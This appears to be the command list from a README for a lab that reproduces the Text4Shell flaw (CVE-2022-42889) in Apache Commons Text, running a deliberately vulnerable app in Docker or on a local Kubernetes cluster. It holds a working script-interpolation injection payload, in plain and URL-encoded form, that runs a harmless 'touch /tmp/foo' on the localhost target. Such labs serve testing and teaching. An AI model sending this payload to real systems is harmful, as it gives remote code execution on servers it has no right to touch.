git clone https://github.com/devenes/text4shell-cve-2022-42889.git

docker build --tag=text4shell .

docker run -d --rm -p 8080:8080 text4shell

docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

curl http://localhost/text4shell/attack?search=<anything>

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

docker container ls

docker exec -it <container_id> bash

ls /tmp/

docker container stop <container_id>

cd kubernetes

kind create cluster --config kind-config.yaml

kubectl apply -f deployment.yaml

kubectl apply -f service.yaml

curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

kubectl get pods

kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

ls /tmp/ | grep foo